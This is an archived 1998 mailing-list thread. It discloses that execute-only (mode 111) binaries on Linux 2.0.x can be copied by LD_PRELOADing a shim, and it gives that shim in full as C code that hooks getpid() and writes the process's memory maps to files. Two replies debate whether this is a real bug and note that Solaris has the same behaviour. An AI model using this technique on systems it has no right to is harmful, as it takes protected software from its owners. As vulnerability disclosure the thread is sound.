Date:         Tue, 15 Sep 1998 12:36:22 +0800
From:         David Luyer <luyer@UCS.UWA.EDU.AU>
Subject:      Dump a mode --x--x--x binary on Linux 2.0.x

The following file can be LD_PRELOAD'ed against a mode 111 (--x--x--x)
binary on Linux 2.0.x.  It will dump the binary to a series of
process-dump-... files in the current directory.  The executable itself
can be recovered by catting the first few files together and truncating
at the executable size.  I have tested this by reconstructing a copy of
/bin/cat which I had protected mode 111 under Linux 2.0.x.

Tested up to 2.0.35 and ld.so 2.0.7.

I noticed this problem after Andreas Kies pointed out on linux-kernel
that you can strace a mode 111 (--x--x--x) binary on Linux 2.0.x.  His
patch for that problem can be found in the linux-kernel archives, I'm not
aware of a patch for this problem yet.

David.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static char * filename = "process-dump-%04x-%08lx:%08lx";
static int ___mypid = 0;

void ___dump_memory() {
FILE *f, *maps;
char str[80], c, *fname;
unsigned long fr, to;

  maps = fopen("/proc/self/maps", "r");
  while (fgets(str, 80, maps) != NULL) {
    if(sscanf(str, "%8lx-%8lx %c", &fr, &to, &c) != 3) {
      fprintf(stderr, "bad /proc/maps line: %s\n", str);
      continue;
    }
    if(c != 'r') {
      fprintf(stderr, "non-readable map: %08lx to %08lx\n", fr, to);
      continue;
    }
    if((to - fr) % 4096) {
      fprintf(stderr, "warning: non-4k-blocked map: %08lx to %08lx\n", fr, to);
    }
    fname = malloc(strlen(filename) + 9);
    sprintf(fname, filename, ___mypid, fr, to);
    unlink(fname);
    f = fopen(fname, "w");
    fwrite((void *)fr, (to - fr)/4096, 4096, f);
    fclose(f);
  }
  fclose(maps);
}

int getpid() {
 /* override getpid() since this is called in most process startup */
 if(!___mypid) {
    ___mypid = __getpid();
    ___dump_memory();
 }
 return ___mypid;
}

int fork() {
  /* make sure getpid() returns correct value after fork() */
  int i;

  if((i = __fork()) && i != -1)
    ___mypid = i;
  return i;
}

int clone() {
  /* I couldn't be bothered... */
  fputs("sorry this preload does not support clone()\n", stderr);
  return -1;
}

-------------------------------------------------------------------------

Date:         Tue, 15 Sep 1998 14:52:30 +0100
From:         Alan Cox <alan@LXORGUK.UKUU.ORG.UK>
Subject:      Re: Dump a mode --x--x--x binary on Linux 2.0.x

> process-dump-... files in the current directory.  The executable itself
> can be recovered by catting the first few files together and truncating
> at the executable size.  I have tested this by reconstructing a copy of
> /bin/cat which I had protected mode 111 under Linux 2.0.x.

You can only do this for non setuid applications. I would question it
is even a bug. Execute only is an extremely vague concept anyway on
x86 since the chip doesnt really support it physically.

The convenience and usefulness of LD_PRELOAD seems to far outweigh this
consideration for normal use. Its probably one for the 'secure linux'
patch collection therefore.

Alan

-------------------------------------------------------------------------

Date:         Tue, 15 Sep 1998 20:20:15 +0200
From:         Casper Dik <casper@HOLLAND.SUN.COM>
Subject:      Re: Dump a mode --x--x--x binary on Linux 2.0.x

>> process-dump-... files in the current directory.  The executable itself
>> can be recovered by catting the first few files together and truncating
>> at the executable size.  I have tested this by reconstructing a copy of
>> /bin/cat which I had protected mode 111 under Linux 2.0.x.
>
>You can only do this for non setuid applications. I would question it
>is even a bug. Execute only is an extremely vague concept anyway on
>x86 since the chip doesnt really support it physically.

Solaris has the same "problem" and I too am not sure whether it's
a bug or not.  Also, filesystems like NFS make no distinction between
read-for-execute or read-for-reading.

Solaris /proc disallows access to execute only binaries, but its
LD_PRELOAD and also LD_LIBRARY_PATH have the exact same problem.
LD_LIBRARY_PATH is somewhat trickier to abuse as it requires you to
build an entire library and not just an object with a few replacement
function, although you might get very far by just using a .init section
and little substance.

>The convenience and usefulness of LD_PRELOAD seems to far outweigh this
>consideration for normal use. Its probably one for the 'secure linux'
>patch collection therefore.

Indeed, and I would think that disabling LD_LIBRARY_PATH too would have
serious usability impact.

Casper


